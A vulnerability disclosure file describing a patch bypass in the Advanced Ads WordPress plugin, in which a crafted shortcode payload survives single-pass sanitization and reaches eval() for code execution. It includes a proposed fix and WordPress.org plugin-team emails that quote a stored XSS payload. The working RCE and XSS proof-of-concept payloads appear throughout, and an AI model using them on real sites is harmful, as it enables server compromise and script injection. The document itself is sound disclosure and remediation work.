vulberability.md
229 lines
| 1 | **Message:** |
| 2 | Identified an incomplete fix for CVE-2025-13592 in Advanced Ads 2.0.22. |
| 3 | |
| 4 | Vulnerability summary: |
| 5 | |
| 6 | - Type: Authenticated Remote Code Execution (Patch Bypass) |
| 7 | - File: includes/class-shortcodes.php (sanitize_shortcode_content) |
| 8 | - Sink: includes/ads/class-ad-plain.php (eval()) |
| 9 | - Auth required: Contributor (draft preview, no publish needed) |
| 10 | - Precondition: An existing ad with allow_php=true must be present on the site |
| 11 | |
| 12 | The sanitize_shortcode_content() function uses a single-pass regex. A crafted payload (<<?php?>?php ...) causes the regex to reconstruct a live PHP tag after stripping an inner block. The resulting PHP tag survives sanitization and reaches the eval() sink via the content and change-ad\_\_content shortcode attributes. |
| 13 | |
| 14 | The 2.0.21/2.0.22 fix only hardened the ad_args vector (sanitized twice). The content and change-ad\_\_content attributes are sanitized once only - the bypass survives on these paths. |
| 15 | |
| 16 | Confirmed locally on Advanced Ads 2.0.22: |
| 17 | |
| 18 | - Contributor saves draft post with [the_ad id=X content="<<?php?>?php echo 31337;"] |
| 19 | - GET /?p=ID&preview=true (authenticated as Contributor) |
| 20 | - Response: <div id="local-...">31337</div> - PHP executed server-side |
| 21 | |
| 22 | **PRECONDITION**: There must be at least one ad of type `plain`/`content` on the site with `allow_php = true` — the documented “Allow PHP” feature — and global PHP execution must not be disabled (`Conditional::is_php_allowed()` is true by default, and false only if `ADVANCED_ADS_DISALLOW_PHP` or `DISALLOW_FILE_EDIT` are defined). The attacker CANNOT enable `allow_php` themselves — it is forced to false, see below — they hijack an existing PHP ad. |
| 23 | |
| 24 | ## Vulnerable code |
| 25 | |
| 26 | ```php |
| 27 | // class-shortcodes.php — single-pass regex sanitization (the 2.0.21/2.0.22 RCE fix) |
| 28 | private function sanitize_shortcode_content( string $content ): string { |
| 29 | // one preg_replace pass — does NOT re-scan its own output |
| 30 | $content = preg_replace( '/<\?(?:php|=)?[\s\S]*?(?:\x3F\x3E|$)/i', '', $content ); |
| 31 | return $content ? $content : ''; |
| 32 | } |
| 33 | |
| 34 | private function prepare_shortcode_atts( $atts ): array { |
| 35 | // ... foreach builds $result, then ad_args path: |
| 36 | if ( isset( $atts['ad_args'] ) ) { // <-- sanitized TWICE |
| 37 | $result = array_merge( $result, $this->parse_shortcode_ad_args( $atts['ad_args'] ) ); // pass #1 |
| 38 | } |
| 39 | // ... |
| 40 | if ( isset( $result['content'] ) && is_string( $result['content'] ) ) { |
| 41 | $result['content'] = $this->sanitize_shortcode_content( $result['content'] ); // pass #2 (ad_args) / pass #1 (direct content attr) |
| 42 | } |
| 43 | return $result; |
| 44 | } |
| 45 | |
| 46 | private function set_shortcode_atts( $entity, $atts ): void { |
| 47 | foreach ( $atts as $key => $value ) { $entity->set_prop_temp( $key, $value ); } |
| 48 | if ( isset( $atts['allow_php'] ) ) { $entity->set_prop_temp( 'allow_php', false ); } // only forces false IF passed |
| 49 | } |
| 50 | ``` |
| 51 | |
| 52 | ```php |
| 53 | // class-ad-plain.php — the eval sink |
| 54 | if ( $this->is_php_allowed() && Conditional::is_php_allowed() ) { |
| 55 | eval( '?>' . $content ); // $content = attacker-controlled, sanitized only once on the `content` attr path |
| 56 | } |
| 57 | ``` |
| 58 | |
| 59 | ## Cause — incomplete fix (Pattern 4) |
| 60 | |
| 61 | `sanitize_shortcode_content()` is a **single-pass** `preg_replace`: it removes `<? … ?>` / `<? … $` blocks, but does not re-scan its own result. A payload designed so that removing an internal block **reconcatenates** a new PHP tag can bypass it: |
| 62 | |
| 63 | `<<?php?>?php echo 31337;` → `preg_replace` removes `<?php?>` → what remains is `<` + `?php echo 31337;` = `<?php echo 31337;` — a **live** PHP tag. |
| 64 | |
| 65 | - `ad_args` vector — the one from CVE 2.0.21: sanitized **twice** — in `parse_shortcode_ad_args`, then again at L165. The second pass sees the properly reconstructed tag and removes it → **protected**. |
| 66 | |
| 67 | - `content=""` and `change-ad__content=""` vectors: sanitized **only once** — at L165 only → the bypass survives → `eval()`. **The fix only hardened the reported vector, not its sibling vectors.** |
| 68 | |
| 69 | `set_shortcode_atts` forces `allow_php=false` only if the `allow_php` attribute is present in the request → the attacker cannot enable it, but by targeting an existing PHP ad where `allow_php=true` is not passed again, the lock does not apply and the injected content is evaluated. |
| 70 | |
| 71 | ## ATTACK FLOW |
| 72 | |
| 73 | A Contributor writes a post: |
| 74 | |
| 75 | `[the_ad id=<ID of an allow_php ad> content="<<?php?>?php SYSTEM_CMD;"]` |
| 76 | |
| 77 | → page rendering — either draft preview by the Contributor themselves, or public viewing |
| 78 | → `Shortcodes::render_ad` |
| 79 | → `prepare_shortcode_atts` — single-pass sanitization on the `content` attribute |
| 80 | → `set_shortcode_atts` — `allow_php` untouched, remains true |
| 81 | → `get_the_ad` |
| 82 | → `Ad_Plain::prepare_frontend_output` |
| 83 | → `eval('?>' . '<?php SYSTEM_CMD;')` |
| 84 | → RCE. |
| 85 | |
| 86 | ## Proof |
| 87 | |
| 88 | Proof: |
| 89 | |
| 90 | 1. Regex bypass + eval — exact replica: |
| 91 | |
| 92 | ```text |
| 93 | [concat_bypass] raw : <<?php?>?php echo "RCE_PROOF_" . (7*6) ... |
| 94 | san : <?php echo "RCE_PROOF_" . (7*6) ... => *** PHP TAG SURVIVES *** |
| 95 | EVAL OUTPUT: RCE_PROOF_42 |
| 96 | ``` |
| 97 | |
| 98 | 2. Full chain via the plugin’s REAL private methods — using reflection — on an ad with `allow_php=true` — ID 66: |
| 99 | |
| 100 | ```text |
| 101 | attribute: content -> prepared content = [<?php echo 40+2;] -> RENDER = [42] *** RCE CONFIRMED *** |
| 102 | attribute: change-ad__content -> prepared content = [<?php echo 40+2;] -> RENDER = [42] *** RCE CONFIRMED *** |
| 103 | attribute: ad_args (JSON) -> prepared content = [] -> no RCE (double-sanitize = protected) |
| 104 | ``` |
| 105 | |
| 106 | 3. End-to-end HTTP — published post, author = Contributor `aacontrib`, containing: |
| 107 | |
| 108 | ```text |
| 109 | [the_ad id=66 content="<<?php?>?php echo 31337;"] |
| 110 | ``` |
| 111 | |
| 112 | retrieved as a **guest**: |
| 113 | |
| 114 | ```text |
| 115 | GET http://localhost:3005/aa-rce-poc2/ (HTTP 200) |
| 116 | entry-content : <div id="local-2787659511">31337</div> <-- injected PHP executed and rendered in the served page |
| 117 | ``` |
| 118 | |
| 119 | ## FIX |
| 120 | |
| 121 | Apply sanitization in a loop until a fixed point is reached — or remove every occurrence of `<?` — and apply it to **all** content paths, not only `ad_args`: |
| 122 | |
| 123 | ```php |
| 124 | private function sanitize_shortcode_content( string $content ): string { |
| 125 | do { |
| 126 | $before = $content; |
| 127 | $content = preg_replace( '/<\?(?:php|=)?[\s\S]*?(?:\x3F\x3E|$)/i', '', $content ); |
| 128 | } while ( $content !== $before ); // re-scan until stable |
| 129 | |
| 130 | // Additional defense: neutralize any remaining '<?' |
| 131 | $content = str_replace( '<?', '', (string) $content ); |
| 132 | |
| 133 | return $content ?? ''; |
| 134 | } |
| 135 | ``` |
| 136 | |
| 137 | Ideally: never re-evaluate PHP injected through a shortcode. Gate `allow_php` only on the **stored** content, never on a shortcode override. In other words, force any `content` override to be treated as non-PHP, regardless of the attribute. |
| 138 | |
| 139 | --- |
| 140 | |
| 141 | Emails: |
| 142 | |
| 143 | We've received a report from a third party concerning a security vulnerability in your plugin. Your plugin has not yet been closed, however if in the next 30 days the issue remains unpatched or we receive no communication we will be forced to close the plugin due to inaction. |
| 144 | |
| 145 | https://wordpress.org/plugins/advanced-ads/ |
| 146 | |
| 147 | Here's what you need to do: |
| 148 | Vulnerability Remediation: |
| 149 | Thoroughly review this email and the report included below. |
| 150 | Implement necessary code modifications to eliminate the vulnerability. |
| 151 | Address any additional similar concerns identified. |
| 152 | Perform a Security Review: |
| 153 | Conduct a comprehensive security and WordPress coding standards review of your plugin's codebase. |
| 154 | Utilize the Plugin Check Plugin as a tool to identify and rectify any issues: https://wordpress.org/plugins/plugin-check/ |
| 155 | We expect all issues detected by Plugin Check Plugin will be resolved before you resubmit the plugin for review. |
| 156 | Plugin Update: |
| 157 | Increment your plugin's version number. |
| 158 | Update the "Tested up to" version within your readme.txt file to reflect the latest WordPress release. |
| 159 | Submit the Update: |
| 160 | Commit the updated code to your plugin's SVN repository. |
| 161 | Be sure to properly tag the new release. |
| 162 | Please review our documentation on how to use SVN - https://developer.wordpress.org/plugins/wordpress-org/how-to-use-subversion/#best-practices - as improper SVN usage can delay our reviews. |
| 163 | Reply to this email to request a re-review. |
| 164 | |
| 165 | Important Considerations: |
| 166 | Thoroughness: A comprehensive review of your entire plugin will be conducted upon resubmission. Any additional security or guideline issues must be resolved before your plugin can be relisted. |
| 167 | Timeframe: You have 14 days from the time of this email to reply confirming you are aware of the issue and 30 days total to address the reported vulnerability in order to avoid closure. |
| 168 | Public Disclosure: This security bug was reported to us from a third party. We can not prevent public disclosure, dispute their claim or change their disclosure timeline (which may occur before our 30 day timeframe). We are notifying you of the information we have been provided in order to help you begin working on a patch. |
| 169 | Support: If you require clarification, encounter challenges or need more time, please reply to this email. |
| 170 | Failure to act: Failure to communicate or make substantial progress within this timeframe will necessitate the closure of your plugin to protect users. |
| 171 | |
| 172 | Vulnerability Report |
| 173 | |
| 174 | We are sending a private security report regarding the WordPress plugin "Advanced Ads - Ad Manager & AdSense" on WordPress.org, specifically the public package version 2.0.21. |
| 175 | |
| 176 | We validated a shortcode-based stored XSS issue in the current public version through the `ad_args` shortcode parameter, specifically the `override` field. |
| 177 | |
| 178 | In the public 2.0.21 code: |
| 179 | |
| 180 | - `includes/class-shortcodes.php` decodes attacker-controlled `ad_args` JSON |
| 181 | - only `content` receives special sanitization |
| 182 | - `override` is returned untouched |
| 183 | - `includes/functions-ad.php` then returns `args['override']` directly when present |
| 184 | |
| 185 | Relevant code flow: |
| 186 | |
| 187 | - `includes/class-shortcodes.php:149-150` |
| 188 | - `includes/class-shortcodes.php:189-199` |
| 189 | - `includes/functions-ad.php:45-46` |
| 190 | |
| 191 | In local validation against version 2.0.21: |
| 192 | |
| 193 | - we created a valid `advanced_ads` post |
| 194 | - we stored the shortcode below in a public post authored by an `Author` user: |
| 195 | |
| 196 | [the_ad id="8" ad_args="%7B%22override%22%3A%22ADV17_ADARGS_XSS%3Cimg%20src%3Dx%20onerror%3Dalert%281708%29%3E%22%7D"] |
| 197 | |
| 198 | - rendering the shortcode returned: |
| 199 | |
| 200 | ADV17_ADARGS_XSS<img src=x onerror=alert(1708)> |
| 201 | |
| 202 | - the public page response also contained that payload in the rendered HTML |
| 203 | |
| 204 | This indicates that attacker-controlled markup supplied via `ad_args["override"]` is still rendered unsafely in the latest public package. |
| 205 | |
| 206 | This is not a full review of your plugin. Once you've replied, we will re-scan your entire plugin, looking for both security issues and guideline violations. Should we find other issues on a re-review, you will be required to address those issues as well. |
| 207 | |
| 208 | We understand security issues are surprising and demand your immediate attention. Prompt action on your part will ensure the continued trust and safety of your users. Please don't hesitate to reach out if you have any questions or require assistance. |
| 209 | |
| 210 | --- |
| 211 | |
| 212 | We've reviewed the changes you've made. While we appreciate the effort to address the reported XSS vulnerability, we can't reopen your plugin just yet. |
| 213 | |
| 214 | We noticed you're using a custom solution to prevent XSS payloads. While this approach might work against the specific proof of concept provided, it's often possible to bypass these types of bespoke solutions. We need to ensure your plugin has robust, industry-standard XSS protection in place. |
| 215 | |
| 216 | Recommended Approach: |
| 217 | |
| 218 | WordPress provides a solid framework for handling security concerns like XSS. We strongly recommend adhering to their best practices, which involve a three-pronged approach: |
| 219 | Validation: Verify that the data inputted by the user matches the expected format and type. |
| 220 | Sanitization: Cleanse the input data to remove any potentially harmful characters or code. |
| 221 | Escaping: Securely output data to the user by escaping special characters, preventing them from being interpreted as code. |
| 222 | To guide your implementation, please review the following resources: |
| 223 | https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data |
| 224 | https://developer.wordpress.org/apis/security/data-validation/ |
| 225 | https://developer.wordpress.org/apis/security/sanitizing/ |
| 226 | https://developer.wordpress.org/apis/security/escaping/ |
| 227 | |
| 228 | Please implement these best practices and let us know when you've updated your plugin. We're committed to working with you to ensure your plugin is secure for all users. |
| 229 |